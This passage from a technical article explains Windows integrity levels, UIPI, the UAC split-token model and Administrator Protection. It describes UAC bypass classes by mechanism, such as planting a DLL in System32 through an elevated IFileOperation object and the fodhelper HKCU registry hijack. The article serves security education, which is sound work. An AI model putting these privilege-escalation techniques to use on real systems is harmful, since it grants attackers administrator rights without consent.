The third durable class abuses the behaviour of auto-elevation-eligible COM classes. Mechanism: a COM class registered as auto-elevation-eligible (the IFileOperation / ICMLuaUtil / IColorDataProxy family historically, then the explicit COMAutoApprovalList registry surface introduced in Windows 10 RS1 / build 14393 in August 2016) can be instantiated High-IL by a Medium-IL caller via the COM Elevation Moniker. Once instantiated, the High-IL object exposes methods (file copy, registry write, executable launch) that perform actions at High IL using whatever parameters the caller passes [@davidson-2009][@ifileoperation].

Davidson's IFileOperation proof of concept from December 2009 is the canonical example. A Medium-IL caller instantiates IFileOperation via the COM Elevation Moniker. The resulting dllhost.exe runs at High IL and exposes IFileOperation::CopyItem and related methods. The caller invokes CopyItem("evil.dll", "C:\\Windows\\System32\\"). The High-IL dllhost.exe performs the copy, because the High-IL token has write access to %SystemRoot%\System32. The caller has now planted a DLL in System32 without ever holding a High-IL token itself [@davidson-2009][@ifileoperation].

The COMAutoApprovalList era began in August 2016 with the Windows 10 Anniversary Update (RS1, build 14393). Microsoft added a dedicated registry surface at HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\UAC\COMAutoApprovalList enumerating which CLSIDs consent.exe would auto-elevate without a prompt. The change was unannounced: there is no Microsoft-published security bulletin naming the introduction. The community anchor is UACMe Method 49, whose fix-note carries the verbatim "Side effect of consent.exe COMAutoApprovalList introduction" against the TpmInit.exe ICreateNewLink technique, dated to RS1 / build 14393 [@uacme]. Method 27 captures the subsequent narrowing in RS3 (Insider build 16199), when Microsoft removed the UninstallStringLauncher interface from the list.

Class	Mechanism	Canonical research	Microsoft response
Registry-hijack (DelegateExecute)	Auto-elevated binary resolves user-writable HKCU handler	Nelson, eventvwr Aug 2016; sdclt and fodhelper 2017	Patched individual binaries; class never classified as security vulnerability
DLL-search-order	Auto-elevated binary loads attacker DLL via standard search path	Davidson, December 2009 (sysprep + cryptbase)	`SafeDllSearchMode`, `LOAD_LIBRARY_SEARCH_*`, KnownDLLs; shrunk but not eliminated
Auto-elevated COM behaviour	Medium-IL caller invokes High-IL methods via moniker	Davidson, December 2009 (IFileOperation); COMAutoApprovalList RS1 Aug 2016	Curated allowlist; entries added or removed in feature updates without CVEs

7.4 The doctrine and the aha

The two distinct 2007 sources need precise attribution, because the citation chain is the load-bearing artifact of the entire UAC-as-not-a-boundary argument.

Note: The verbatim "Neither UAC elevations nor Protected Mode IE define new Windows security boundaries" sentence lives in the PsExec, User Account Control and Security Boundaries TechNet Blogs post by Mark Russinovich, dated February 12, 2007 [@russinovich-blog-2007]. The architectural reference that most practitioners cite, Security: Inside Windows Vista User Account Control, was published in the June 2007 issue of TechNet Magazine and is the canonical reference for the integrity model, file/registry virtualisation, and the elevation pipeline [@russinovich-tnm-2007]. The architectural article does not contain the "not a security boundary" sentence; the February blog post does. Conflating the two is a citation error and gives the wrong impression of when Microsoft committed to the boundary classification.

The Microsoft Security Response Center's published servicing criteria define a security boundary as one that "provides a logical separation between the code and data of security domains with different levels of trust" [@msrc-criteria]. The MSRC servicing-criteria page enumerates which Windows boundaries qualify under that definition. Through the Vista-through-Windows-10 era (2007-2024), UAC was explicitly classified as a security feature, not a boundary, in the enumeration table on that page. The enumeration is rendered client-side (in JavaScript) and not visible through static fetches; the canonical confirmation for the classification is the Russinovich February 2007 sentence above, repeated and re-affirmed in Microsoft public statements throughout the period [@russinovich-blog-2007].

Forshaw's January 2026 Project Zero post on Administrator Protection reads the doctrine clearly in retrospect: "due to the way it was designed, it was quickly apparent it didn't represent a hard security boundary, and Microsoft downgraded it to a security feature" [@forshaw-adminprot-jan26]. Forshaw's "downgraded" wording is useful retrospective shorthand, but Russinovich's February 2007 post shows the public classification from the start: UAC elevation was a security feature, not a Windows security boundary, from the moment it shipped. The reclassification in November 2024 was a re-promotion with new architecture, not a fix to the old architecture.

Note: The twenty-year UAC bypass-research record is empirical confirmation, not counterargument, of the architect's 2007 disclaimer. Microsoft did not fix the bypasses as security vulnerabilities because Russinovich had already said in writing that there was nothing to "fix": the consent prompt was a convenience, not a boundary. The bypass record is the proof that the disclaimer was honest from week one.

For the Windows administrator who has watched the bypass-research industry produce a new fileless bypass every six to twelve months, the reframing is the load-bearing aha of the entire article. The bypasses are not bugs Microsoft has failed to fix. They are the empirical map of the access-control versus information-flow gap that any access-control primitive runs into in a backward-compatible OS. The empirical record from 2009 forward (Davidson, Nelson, hfiref0x, Forshaw) is the cumulative confirmation that the disclaimer was honest.

If MIC, UIPI, and the split-token model are sound primitives, and the bypasses do not violate Microsoft's own classification of them, what are the actual theoretical limits of integrity-level systems? What can MIC and UIPI never do, by design?

8. Theoretical Limits: What MIC and UIPI Cannot Do, by Design

The 2007 disclaimer was not just an admission of weakness. It was an accurate statement of the theoretical limits of any access-control primitive in a backward-compatible operating system. The bypass-research industry of 2009 to 2026 has empirically traced out those limits one technique at a time, and a careful reading of the theory tells us why the trace looks the way it does.

Biba 1977 and the three rules

The integrity model MIC implements comes from Kenneth J. Biba's 1977 MITRE technical report MTR-3153 [@biba-wiki]. Biba's model is the integrity-side mirror of the better-known Bell-LaPadula confidentiality model [@blp-wiki]: where Bell-LaPadula's "no read up" prevents confidentiality leaks, Biba's "no write up" prevents integrity contamination. The Biba model defines three rules.

Simple Integrity Property (no read down): a subject at integrity level $I_s$ cannot read an object at integrity level $I_o < I_s$. A High-IL subject cannot read Low-IL data, because Low-IL data may have been written by an untrusted source and might contaminate the subject's state.
Star Integrity Property (no write up): a subject at integrity level $I_s$ cannot write an object at integrity level $I_o > I_s$. A Low-IL subject cannot write to a High-IL object, because the Low-IL subject's writes would degrade the High-IL object's integrity.
Invocation Property: a subject at integrity level $I_s$ cannot invoke (call, request services from) a subject at integrity level $I_o > I_s$. A Low-IL caller cannot ask a High-IL server to perform an action on the caller's behalf, because the High-IL server would then act on Low-IL inputs.

MIC implements the Star Integrity Property as the default NO_WRITE_UP policy. Every object that does not explicitly request a different policy is protected against lower-IL writes [@mic-doc][@mandatory-label-ace]. That is the one Biba rule MIC actually enforces.

MIC does not implement Biba's Simple Integrity Property at all. There is no NO_READ_DOWN policy in the winnt.h mandatory-label-policy enumeration. The opt-in NO_READ_UP bit MIC exposes points the other way: it stops a lower-IL subject from reading a higher-IL object, which is structurally Bell-LaPadula's Simple Security Property (no read up for confidentiality) repurposed onto an integrity SID rather than a confidentiality label [@blp-wiki][@mandatory-label-ace]. By default, a Low-IL process can read a High-IL file. This is the design choice Forshaw's Reading Your Way Around UAC series turned into a research program in 2017 [@forshaw-reading-uac].

MIC does not implement the Invocation Property either. A Medium-IL process can invoke a High-IL service via the COM Elevation Moniker, via ShellExecuteEx "runas", via any of the auto-elevated binaries, via RPC to Appinfo. The absence of the Invocation Property is exactly what makes UAC operationally usable: a strict reading of Biba would forbid every brokered elevation surface in Windows, and the OS would be unbearable to use. The omission is deliberate, and it is the theoretical reason why every "bypass" of UAC is technically a use of an architectural surface, not a violation of it.

flowchart LR subgraph BIBA ["Biba 1977 -- integrity model"] A["Biba 1977
integrity model"] --> B["Simple Integrity
(no read down)"] A --> C["Star Integrity
(no write up)"] A --> D["Invocation Property
(no invoke up)"] B --> E["MIC: not implemented
(no NO_READ_DOWN policy in winnt.h)"] C --> F["MIC: default NO_WRITE_UP
(on by default)"] D --> G["MIC: not implemented
(COM moniker, runas verb, Appinfo)"] end subgraph BLP ["Bell-LaPadula 1973 -- confidentiality model"] H["Bell-LaPadula 1973
confidentiality model"] --> I["Simple Security
(no read up)"] I --> J["MIC: opt-in NO_READ_UP
(off by default, repurposed onto IL)"] end Strict Biba would forbid every brokered-elevation primitive in Vista. The COM Elevation Moniker, `ShellExecuteEx "runas"`, the entire RPC interface to Appinfo, the `IFileOperation`-class auto-elevated COM objects, the manifest-based elevation request: all of these are explicitly *invocations* by a lower-IL caller of a higher-IL server [@biba-wiki].

Microsoft's architectural decision was that brokered elevation is the operationally usable workaround. A Medium-IL caller cannot invoke a High-IL server directly, but a Medium-IL caller can ask the SYSTEM-trusted Appinfo broker to create a High-IL process whose initial state the broker controls. The broker is the mediation point. The brokered model is structurally weaker than strict Biba, and that weakness is exactly the surface the bypass-research industry has operated in for sixteen years. Every COM-elevation moniker bypass, every auto-elevation registry hijack, every DLL-search-order attack is a refinement of the same observation: brokered elevation lets Medium-IL inputs influence High-IL outputs in ways the broker cannot fully validate.

The access-control versus information-flow gap

The deeper bound is information-flow. Dorothy Denning's May 1976 Communications of the ACM paper A lattice model of secure information flow established the formal framework [@denning-1976]. The underlying limit is fundamental: information-flow enforcement is undecidable in the general case, because verifying that a program never leaks information from class $A$ to class $B$ requires deciding properties of arbitrary programs, which reduces to the halting problem. Denning's lattice model pairs with a conservative compile-time certification that stays decidable precisely because it over-approximates.

MIC enforces access control, not information flow. The distinction is essential. Access control answers "can this subject perform this operation on this object?" decidably, at operation time, by walking the object's ACEs against the token. Information flow asks "does the final state of this system contain any information derived from data the subject was not authorised to read?" That is undecidable.

What this means for UAC: even when MIC perfectly enforces NO_WRITE_UP, a Low-IL process can still influence a High-IL process via shared state the High-IL process reads. Forshaw's January 2026 lazy DOS device directory hijack [@forshaw-adminprot-jan26] is exactly such an attack: it places attacker-controlled state in a location a High-IL process will later read, without ever writing up directly. MIC cannot prevent this; no access-control primitive can. Closing the gap requires information-flow analysis, which is provably undecidable for arbitrary code.

The five concrete limits

The theoretical bounds map onto five concrete limits any practitioner can observe on a default Windows 11 install.

The first limit is that no-write-up does not imply no-influence-up. A Low-IL process cannot write to High-IL objects directly, but it can place state (registry keys, files, environment variables, named objects) that a High-IL process will subsequently read or be influenced by. Every fileless UAC bypass in §7.1 walks through this gap.

The second limit is that NO_READ_UP is opt-in [@mic-doc]. By default, a Low-IL process can read a High-IL file. This is intentional: accessibility tools, antivirus, and diagnostic utilities depend on cross-IL reads. The cost is that any High-IL data placed at a default-policy location is readable by every Medium-IL or lower process on the system.

The third limit is that UIPI covers only the windowing layer. Sockets, named pipes, COM, RPC, shared memory, MIDL-defined RPC interfaces, and every other inter-process channel that does not go through win32k.sys is out of scope [@uipi-wiki]. UIPI is necessary, but it is not sufficient for cross-IL isolation; the full bound requires MIC on the file system, the registry, and every named object the higher-IL process might consume.

The fourth limit is the same-IL same-desktop attack surface. Two Medium-IL processes on the user's Default desktop are not isolated from each other by either MIC or UIPI. They have the same IL (no MIC bound) and they own windows on the same desktop with the same IL (no UIPI bound). Every modern browser sandbox addresses this separately, by combining MIC (the renderer runs at Low IL or Untrusted IL) with AppContainer (capability-based identity isolation) and restricted tokens (CreateRestrictedToken-style SID denial) [@chromium-sandbox][@appcontainer-isolation]. Where MIC alone is insufficient, the stack layers additional primitives, but those primitives are additions to MIC, not replacements for it.

The fifth limit is the auto-elevated-binary surface. As long as a Medium-IL process can cause a High-IL process to come into existence executing user-controllable inputs (registry handlers, DLL search-order resolution, COM moniker activation, command-line arguments), the bypass-research industry has architectural space to operate. The fix would be to apply the Invocation Property strictly, which would break elevation.

Why MIC has to be a separate evaluator

The Harrison-Ruzzo-Ullman 1976 result is the theoretical reason MIC could not be implemented as discretionary ACEs [@hru-1976]. HRU prove that the safety question (given an initial access matrix, will any future sequence of operations cause subject $s$ to acquire permission $p$ on object $o$?) is undecidable for the general access-matrix model. That undecidability is what makes mandatory policy necessary as a separate evaluator: if integrity were encoded as discretionary ACEs, the safety of an object's integrity label would inherit HRU undecidability through every principal with rights over the ACE.

By making MIC a separate evaluator with non-discretionary semantics, Windows answers the integrity-safety question in O(1) per access check: compare two SIDs, consult three policy bits, decide. The decidability comes from the separation. MIC is bounded because it is structurally simpler.

None of the bypass classes in §7 violate any of these limits. They all operate within them. The registry-hijack class places Low-IL state where a High-IL reader will consume it (limit #1). The DLL-search-order class abuses the auto-elevated-binary surface (limit #5). The COM-behaviour-abuse class operates on the absent Invocation Property. Microsoft's response, repeated for sixteen years, was to acknowledge these as architectural realities of the design rather than as bugs to fix. The bypass-research literature is the empirical map of the access-control versus information-flow gap that no mainstream OS has closed.

Did Microsoft ever try to actually move the boundary? What does it look like when a security feature finally becomes a security boundary?

9. The Adminless Successor and the Open Problems

In November 2024, Microsoft did something it had not done in seventeen years. It moved the security-boundary line. Administrator Protection, announced as a Windows 11 platform feature, became the first generation in the integrity-level lineage that Microsoft classifies as a security boundary [@admin-protection][@msft-devblog-adminprot]. The reclassification is structurally substantial. It is not Microsoft renaming UAC; it is Microsoft adding the architectural primitives a boundary classification requires.

What the split-token model shared, and what Administrator Protection separates

The four shared properties between the filtered token and the linked token were the structural reason UAC could not be a security boundary. They are listed verbatim in Forshaw's May 2017 Reading Your Way Around UAC framing [@forshaw-reading-uac]: same user SID, same %USERPROFILE%, same HKCU hive, same logon-session LUID. Administrator Protection attacks all four.

The per-user separate identity Windows 11 Administrator Protection provisions at first elevation. Has a different SID, `%USERPROFILE%`, `HKCU` hive, and LUID from the calling user, defeating the registry-hijack class of UAC bypasses by structurally separating elevated-process state from the caller's state.

Property	2007 Split-Token (UAC)	2024 Administrator Protection
User SID	Same as caller	Different (per-user System Managed Administrator Account, SMAA)
`%USERPROFILE%`	Same as caller	Different: `C:\Users\ADMIN_<random>\`
`HKCU` registry hive	Same hive as caller	Different hive (per-SMAA)
Logon session LUID	Same session as caller	Fresh logon session per elevation
Authentication	Consent click only	Windows Hello integrated authentication
Classification	Security feature, not boundary	Security boundary

SMAA expands as "System Managed Administrator Account" per the May 19, 2025 Microsoft Windows Developer Blog explainer Enhance your application security with Administrator protection [@msft-devblog-adminprot]. Earlier Microsoft Learn documentation from 2024 used the working name "Adminless" without the SMAA acronym. The corpus's Adminless / Administrator Protection article (#52) covers the SMAA lifecycle and the Insider-Preview timeline in more depth than this article does.

The concrete operational consequence of the SMAA identity change is structural defeat of the entire registry-hijack class. When an attacker writes the canonical fodhelper bypass key to HKCU\Software\Classes\ms-settings\shell\open\command, the attacker writes to the caller's HKCU hive. When fodhelper.exe is then elevated under Administrator Protection, the elevated process runs under the SMAA identity, with the SMAA's own HKCU hive, which does not contain the attacker's key. The auto-elevated binary resolves the ms-settings association via the SMAA's HKCU, falls through to HKLM, and gets the legitimate handler. The attacker's bypass is structurally defeated by the identity change, not by a per-binary fix [@admin-protection][@forshaw-adminprot-jan26].

The 2025 timeline

Administrator Protection's rollout has been incremental. Microsoft released it as an opt-in toggle in early 2024 Insider Preview builds, then shipped a generally-available implementation in optional update KB5067036 on October 28, 2025 [@forshaw-adminprot-jan26]. The Microsoft Learn Administrator protection page acknowledges a temporary revert on December 1, 2025 "while an application compatibility issue is dealt with" [@admin-protection][@forshaw-adminprot-jan26]. The expected re-enablement is in 2026.

Forshaw's January 26, 2026 Project Zero post Bypassing Windows Administrator Protection documents the application-compatibility revert with verbatim precision. He notes that "the issue is unlikely to be related to anything described in this blog post," meaning that the December 2025 revert was a third-party application compatibility regression rather than a security issue with the feature itself [@forshaw-adminprot-jan26]. The revert is operational, not architectural.

The 2026 retrospective: nine bypasses, five via UI Access

Forshaw's January and February 2026 Project Zero pair is the canonical modern retrospective on Administrator Protection's architectural maturity. The January post documents nine separate Administrator Protection bypasses Forshaw reported to Microsoft during the Insider Preview cycle, all of which were fixed before general availability [@forshaw-adminprot-jan26]. The post details one in depth (the lazy DOS device directory hijack) and summarises the rest.

If the weaknesses in UAC can be mitigated then it can be made a secure boundary. -- James Forshaw, *Bypassing Windows Administrator Protection*, Project Zero, January 26, 2026

The February 2026 follow-on post, Bypassing Administrator Protection by Abusing UI Access, is the more architecturally significant of the pair. It documents that five of the nine pre-GA Administrator Protection bypasses operated entirely through the uiAccess=true exemption, the long-standing UIPI carve-out for accessibility software inherited unchanged from Vista 2007 [@forshaw-adminprot-feb26].

The reading is structural. Administrator Protection successfully closes the bypass surface that the split-token model's shared identity created (limit #1 through limit #4 in §8). It does not close the bypass surface created by the UI Access carve-out, because UI Access is a deliberate exemption from UIPI. Closing UI Access would break screen readers, on-screen keyboards, remote-control tools, and every accessibility utility that depends on cross-IL window-message access. The exemption is necessary; the residual attack surface is the cost of accessibility.

The three gating conditions for uiAccess=true (manifest assertion, valid Authenticode signature, admin-only install location) are documented in the Security Considerations for Assistive Technologies Microsoft Learn page [@uia-security]. Forshaw's February 2026 post enumerates them verbatim and describes the RAiLaunchAdminProcess Appinfo RPC entry point the UI-Access bypasses operate through [@forshaw-adminprot-feb26]. The trade press picked up the story immediately: The Register covered Forshaw's January 2026 post under the headline "Google researcher sits on UAC bypass for ages, only for it to become valid with new security feature" on January 28, 2026 [@register-2026].

The downstream legacy

MIC and UIPI outlived UAC. The integrity-SID primitive is the connective tissue of every later sandbox model on Windows.

flowchart TD A["Integrity-SID primitive
(MIC + UIPI, Vista 2006/2007)"] --> B["AppContainer
(Windows 8, 2012)"] A --> C["IE Protected Mode
(IE7, Vista 2006)"] A --> D["Edge / Chrome / Firefox sandbox tiers
(2008-present)"] A --> E["Protected Process Light
(Windows 8.1, 2013)"] A --> F["Administrator Protection / SMAA
(Windows 11, 2024)"] A --> G["RunAsPPL for LSASS
(Windows 8.1, 2013)"] A --> H["Office Protected View
(Office 2010+)"]

AppContainer (Windows 8, 2012) layers package SIDs above the integrity SID and rides the same SeAccessCheck infrastructure [@appcontainer-isolation]. IE Protected Mode (Windows Vista IE7, 2006) was the first non-UAC consumer of Low IL, running browser-rendered content as a Low-IL process before the user's Medium-IL interactive shell. Modern browser sandbox tiers (Chrome, Edge, Firefox content processes) use Low-IL or Untrusted-IL sandbox processes, layered with AppContainer and restricted tokens [@chromium-sandbox]. Protected Process Light (Windows 8.1, 2013) is a signature-based generalisation of the integrity-SID concept that PPL-protects LSASS against OpenProcess by lower-IL callers. Administrator Protection itself uses the integrity-SID primitive: SMAA processes run at High IL while the calling Medium-IL admin shell stays Medium [@admin-protection].

The twenty-year experiment was a success. The integrity-level stack did exactly what it was designed to do: bound integrity, not authority. The consent prompt was honestly never the security boundary. Microsoft's November 2024 reclassification finally promotes a feature to a boundary by adding the architectural support the boundary classification requires (separate identity, separate profile, separate hive, separate LUID, Windows Hello-mediated transition). The bypass-research literature is the empirical proof that the 2007 disclaimer was honest, and the proof that the architecture worked exactly as architected.

Key idea: MIC and UIPI outlived UAC. The integrity-SID primitive is the connective tissue of AppContainer, every modern browser sandbox, Protected Mode, Protected Process Light, and the Administrator Protection successor. The yellow dialog is the smallest, most replaceable piece of the system.

On December 1, 2025, Microsoft temporarily reverted Administrator Protection in KB5067036 pending an application-compatibility fix [@admin-protection][@forshaw-adminprot-jan26]. Forshaw's exact framing matters: "the issue is unlikely to be related to anything described in this blog post." The revert was *not* a security regression; it was a third-party application-compatibility issue, with re-enablement expected in 2026. As of May 2026, Administrator Protection can be enabled manually on Windows 11 24H2 and later but is not the default on consumer or enterprise SKUs pending re-enablement [@admin-protection].

10. Inspecting the Stack on a Real Box

Every primitive in this article is observable on the Windows install you are reading on. Here are the five commands and the two tools that will let you walk the stack yourself.

Inspecting integrity levels

whoami /groups | findstr Mandatory prints the mandatory label of the current process token. From an unelevated PowerShell on an administrator account, it will read Mandatory Label\Medium Mandatory Level. From an elevated PowerShell, it will read Mandatory Label\High Mandatory Level. From a renderer-process command inside a Chromium-based browser, it would read Mandatory Label\Low Mandatory Level or Untrusted Mandatory Level, depending on the sandbox tier.

whoami /all is the longer view. It prints every group SID, every privilege, and the full mandatory label.Process Explorer (and System Informer) will show you the same data graphically, but whoami is the canonical first-party command for getting at the same kernel information from the shell. Run it twice -- once from an unelevated PowerShell, once from an elevated PowerShell on the same admin account -- and diff the outputs to see what the elevation actually changed. That is the empirical re-creation of §1's hook.

Sysinternals' Process Explorer has an Integrity column you can add via View / Select Columns / Process Image. Once enabled, it shows the IL of every running process at a glance. System Informer (the open-source Process Explorer successor) supports the same column plus richer SACL inspection. The accesschk -e -l <object> Sysinternals command prints the mandatory label of a file, registry key, or other securable object: accesschk -e -l C:\Windows\System32\drivers\ reveals the System-IL label that protects the driver directory.

The PowerShell-native equivalent of `whoami /all` that programs can consume is:

[System.Security.Principal.WindowsIdentity]::GetCurrent() |
  Select-Object -ExpandProperty Groups |
  ForEach-Object { $_.Translate([System.Security.Principal.NTAccount]) }

This produces the same SID-to-account-name resolution whoami /groups does, and is useful inside automation that needs to test deny-only group membership programmatically.

Inspecting UIPI

UIPI is harder to observe directly because the OS does not log dropped messages. The practical demonstration is to run Spy++ (the Visual Studio windowing inspector) from a Medium-IL process and attempt to subclass a window owned by an elevated High-IL process. The subclass call silently fails. SendMessage returns 0 with GetLastError reading ERROR_ACCESS_DENIED. The ChangeWindowMessageFilterEx documentation page is the Microsoft Learn entry point for understanding the per-window, per-message exemption surface [@changewindowfilter].

Enumerating the auto-elevation list

sigcheck -m C:\Windows\System32\*.exe | findstr /i autoelevate walks every executable in System32 and prints the manifest of each. The findstr filter narrows to lines containing autoElevate, surfacing the binaries that assert the manifest flag. On a Windows 11 25H2 install, the resulting list runs to thirty to forty binaries. Remember that the manifest-asserting list is not the same as Appinfo's internal operational allowlist; the operational subset is what UACMe enumerates [@uacme].

Watching Appinfo in action

Procmon (Sysinternals Process Monitor) filtered on consent.exe shows every elevation event: the registry reads against the manifest, the SACL reads on the binary, the token-information queries against the caller's filtered token. The Windows Event Viewer's Applications and Services Logs / Microsoft / Windows / User Account Control channel logs elevation events at the OS level. The combination of Procmon (mechanism) and the Event Viewer (audit trail) is the standard observability surface for elevation operations.

A safe lab for the bypass classes

UACMe is the community catalogue of 81 documented UAC bypass methods, each with author, technique, target binary, and Windows-version applicability annotations [@uacme]. For inspection of the integrity-level state of running processes from an analyst's workstation, James Forshaw's sandbox-attacksurface-analysis-tools repository (the NtObjectManager, TokenViewer, and NtCoreLib PowerShell modules) is the standard research toolchain [@forshaw-tools]. The UACMe reference implementations (akagi32.exe, akagi64.exe) are flagged by Microsoft Defender as HackTool:Win32/Welevate, the detection name Davidson noted as early as 2009 [@davidson-2009]. This is research tooling, not endpoint operations: run UACMe only on a snapshot VM with Defender exclusions documented, and treat the output as an empirical confirmation of the bypass-research record rather than as an offensive primitive.

Note: The minimum five commands a reader can run on their own Windows box to verify everything in this article: 1. whoami /all (run twice: once unelevated, once elevated; diff the outputs) 2. whoami /groups | findstr Mandatory (inspect the IL of the current token) 3. sigcheck -m C:\Windows\System32\eventvwr.exe (read the autoElevate manifest) 4. tasklist /v /fi "imagename eq svchost.exe" | findstr Appinfo (confirm the Appinfo service host) 5. Process Explorer with the Integrity column enabled, sorted by IL (the entire stack at a glance) The whole tour takes ten minutes. By the end you will have seen the split-token model, the integrity-level lattice, the auto-elevation allowlist, the Appinfo broker, and the Medium-vs-High distribution of your interactive desktop, with your own eyes.

11. Five Misconceptions That Will Not Die

Five UAC misconceptions come up so often in practitioner discussions that any complete treatment owes the reader explicit corrections. Two practical questions round out the FAQ.

No, and Microsoft's own documentation has said so since February 2007. The canonical "Neither UAC elevations nor Protected Mode IE define new Windows security boundaries" sentence appears in the *PsExec, User Account Control and Security Boundaries* TechNet Blogs post by Mark Russinovich, dated February 12, 2007 -- see §7.4 for the full quote and the citation-chain disambiguation against the *Inside Windows Vista User Account Control* TechNet Magazine architectural article [@russinovich-blog-2007][@russinovich-tnm-2007]. The boundary line was finally moved in November 2024 with Administrator Protection, which Microsoft does classify as a security boundary [@admin-protection][@forshaw-adminprot-jan26]. The original split-token UAC was never a boundary, by design, and the bypass-research record from 2009 to 2024 is the empirical confirmation that the disclaimer was honest. No. The Secure Desktop is on the `Winlogon` desktop within `WinSta0`, *within* the user's interactive session (Session 1, 2, ...) -- §6.1 walks the full Object-Manager hierarchy and contrasts it with the separate Vista Session 0 Isolation feature that moved Windows services into a non-interactive Session 0 [@russinovich-tnm-2007]. The two features ship together in Vista and are constantly confused, but they live at different layers of the Object Manager hierarchy and address different threats. No. The manifest entry is necessary but not sufficient. Appinfo enforces three additional gates: the binary must carry a valid Microsoft Authenticode signature, the binary must reside under a trusted system directory (`%SystemRoot%\System32` or `%SystemRoot%\SysWOW64`), and the binary's name must appear on an internal allowlist enforced in code in `appinfo.dll`, not in any user-visible policy file [@davidson-2009][@app-manifests]. Copying `autoElevate=true` into your own binary's manifest does nothing on its own. The community-standard enumeration technique is `sigcheck -m C:\Windows\System32\*.exe | findstr /i autoelevate`, but that enumerates the manifest-asserting set, not the operational allowlist. No -- UIPI blocks a specific dangerous subset (window-state mutators, hooks, input injection, journal record / playback); mouse messages, most paint messages, and read-only window queries pass. The complete row-by-row enumeration of blocked vs allowed vs degraded-but-passes message classes is in the §4.2 table. The "blocks all `WM_*`" misconception is one of the most common errors in Windows-security literature [@uipi-wiki][@russinovich-blog-2007]. No. `ShellExecuteEx` with the `"runas"` verb is whole-process elevation: Appinfo creates a new process under the caller's linked full token, and the new process runs at High IL for its entire lifetime [@shellexecuteexa]. The COM Elevation Moniker is per-object elevation: a Medium-IL caller instantiates a single COM object in a new elevated `dllhost.exe` exposing only that one CLSID's methods at High IL [@com-elevation-moniker]. The caller stays Medium; only the COM object's host process is elevated. The bypass-research literature attacks the second surface far more than the first, because per-object elevation exposes a narrower, more abusable *behavioural* surface (the methods of one CLSID), while whole-process elevation requires a path-class bypass like DLL-search-order to weaponise. Partially. The registry-hijack class (the eventvwr / fodhelper / sdclt / ComputerDefaults family from 2016-2017) is structurally defeated by the SMAA identity change: the attacker writes to the caller's HKCU hive, but the elevated process runs under the SMAA's different HKCU hive and never consults the attacker's key [@admin-protection]. The DLL-search-order class is partially mitigated by the SMAA's different `%USERPROFILE%` and different working directory. The UI Access class is *not* mitigated: it is the long-standing carve-out for accessibility software, inherited unchanged from Vista 2007, and Forshaw's February 2026 Project Zero post documents that this carve-out carried five of nine pre-GA Administrator Protection bypasses [@forshaw-adminprot-feb26]. UACMe remains the canonical operational catalogue for the bypass classes that survive Administrator Protection. No. Setting `EnableLUA=0` in `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System` reverts the OS to the pre-Vista posture: no split-token model, every admin-account process running High-IL by default, every interactive shell holding the full admin SID set and the complete privilege list. The integrity-level *primitive* (MIC) remains in the kernel; the *policy* that makes it operationally useful (the default-Medium-IL filtered token for interactive admins) is disabled. Browser sandbox tiers still function, because they construct restricted Low-IL tokens explicitly. The admin's daily shell does not benefit, and a malware drop in any process under the admin's interactive session immediately holds High IL [@uac-how-it-works]. This is structurally the XP situation. Leaving `EnableLUA=1` (the default) is correct on every modern Windows install.

12. The Plumbing Outlived the Yellow Dialog

Return to the two whoami outputs from §1. The user is the same. The session is the same. The clock has barely moved. Read them again, and now read what each line means.

The administrator group SID was present in both tokens, marked deny-only on the filtered token and enabled on the elevated token. The integrity level changed from Medium (S-1-16-8192) to High (S-1-16-12288). The privilege set expanded from the small user-mode subset to the full administrator set. The bits that moved were the kernel-level token-assignment bits in the new process Appinfo created via CreateProcessAsUser, using the dormant linked token that LSA had constructed thirty minutes earlier at logon. The yellow dialog was the consent surface on top of a token-swap primitive that existed before the dialog rendered and that can move bits without the dialog (via auto-elevation).

Four primitives carried the work. Mandatory Integrity Control added an axis to the access check that runs before the DACL and short-circuits on a Low-to-High write attempt, regardless of what the DACL says. User Interface Privilege Isolation closed the cross-IL variant of the shatter-attack class that Paget published in 2002, by dropping the dangerous subset of window messages and hook calls from lower-IL senders to higher-IL receivers. The split-token model gave every administrator a Medium-IL filtered token at logon and held the full token dormant. The Appinfo SYSTEM-trusted broker mediated the token swap when consent or auto-elevation called for it.

The bypass-research industry of 2009 to 2024 was the empirical confirmation of the architect's 2007 disclaimer. Davidson's December 2009 essay opened the auto-elevation surface; Nelson's 2016-2017 series productised the registry-hijack class; hfiref0x's UACMe catalogued 81 methods and counting; Forshaw's 2017 Reading Your Way Around UAC series named the read-side surface; the cumulative record was a sixteen-year demonstration that UAC was not a security boundary, exactly as Russinovich had publicly stated in February 2007. Microsoft never classified any of these as security vulnerabilities, because the architectural commitment from week one had been that they would not be [@russinovich-blog-2007][@msrc-criteria].

The November 2024 Administrator Protection reclassification is the line finally moving. The split-token model's four shared properties between filtered and linked tokens (same SID, same %USERPROFILE%, same HKCU, same LUID) are replaced by an SMAA identity that differs on all four dimensions, plus Windows Hello-mediated authentication for every elevation [@admin-protection][@msft-devblog-adminprot]. The registry-hijack class is structurally defeated; the residual surface is the UI Access carve-out inherited unchanged from Vista 2007, which Forshaw's February 2026 Project Zero post documents as the source of five of nine pre-GA bypasses [@forshaw-adminprot-feb26].

The yellow dialog is the only piece of UAC most users will ever see. It is also the one piece the OS could replace tomorrow without changing what UAC is. MIC and UIPI outlived UAC. AppContainer, every modern browser sandbox, IE Protected Mode, Office Protected View, Protected Process Light, and Administrator Protection itself all ride on the integrity-SID and WinSta0 primitives that shipped on January 30, 2007 [@vista-press-release][@appcontainer-isolation][@chromium-sandbox]. The quiet plumbing did the work.

Next time you click "Yes" on the consent prompt, the bits that move are the same bits that move when Edge spawns a renderer at Low IL, when Defender protects LSASS as PPL, and when a SMAA process shadows your administrator identity on a Windows 11 25H2 install with Administrator Protection enabled. The dialog is the smallest part of the system. Twenty years of empirical research proved Russinovich right: UAC was never the boundary. The integrity-level stack was the quiet plumbing, and Administrator Protection is the later boundary-classified successor [@russinovich-blog-2007][@admin-protection].

